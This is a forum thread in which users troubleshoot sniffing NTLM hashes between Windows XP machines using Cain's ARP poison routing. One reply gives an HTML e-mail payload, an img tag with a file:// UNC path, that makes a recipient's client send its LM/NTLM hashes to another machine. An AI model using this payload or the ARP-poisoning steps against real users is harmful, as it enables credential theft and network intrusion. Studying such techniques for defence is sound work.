Sniffing NTLM

I was wondering about what might be wrong here:
I was trying to get the NTLM hashes from another test computer in my switched LAN.
Started Cain ( www.oxid.it ) Enabled ARP poison routing, got to the other computer to log on to the computer running Cain. Then checked Cain, yes it sniffed SMB-actions. Imported the hashes to the cracker, but all the passwords where "empty". Noticed that these logons where logged on as Guest. Darn.. So I changed the Guest account password. And tried again. This time the logon attempts where Failed. And I got new hashes, but again the pass. where "empty".
The reason why I tried the above was that I have been told that windows will try the logged in user as an final attempt to access network shares on another computer..

Anyone who figures out what went wrong in my attempt? :)

It's the client that's sending the "empty" password.

Yes.. That's right, but is there any way I can force the client computer to send his password hashes? I have seen some options in sniffer programs where it is possible to "force cleartext password" ++. Is this what makes me get his password hashes?

What's the client's OS? What's the server's OS?

Both are using Microsoft Windows Xp Home Edition.

By default Windows XP authenticates a network user as guest. This can be the issue here. On Windows XP Pro you can change this from the Group Policy -
Computer Config > Windows settings > Security settings > Local policies > Security Options > Network access:Sharing and security model for local accounts
Not sure of this option on Home edition. Hope this helps.

Your computer will send NTLM password for authenitication if you have an DHCP server in the network, otherwise as some one told it will be using your guest account for shares.

For me with DHCP it works fine.

I've not seen any relation between network authentication and DHCP. Networks with static IP address also work with NTLM authentication.

To get a machine to send its LM and NTLM hashes send an html e-mail with the following in the document:

<img src=file://nbmachinename/null/gif height=1 width=1>

that will cause the client to send hashes for the current user (works on my network anywayz)

wasn't this one of the vunerabilities that was patched with the jpeg patch??

how would that work sending <img src=file://nbmachinename/null/gif height=1 width=1> in an html e-mail it would have to be straight to the machine wouldn't it be so how would you send that to a machine in a network.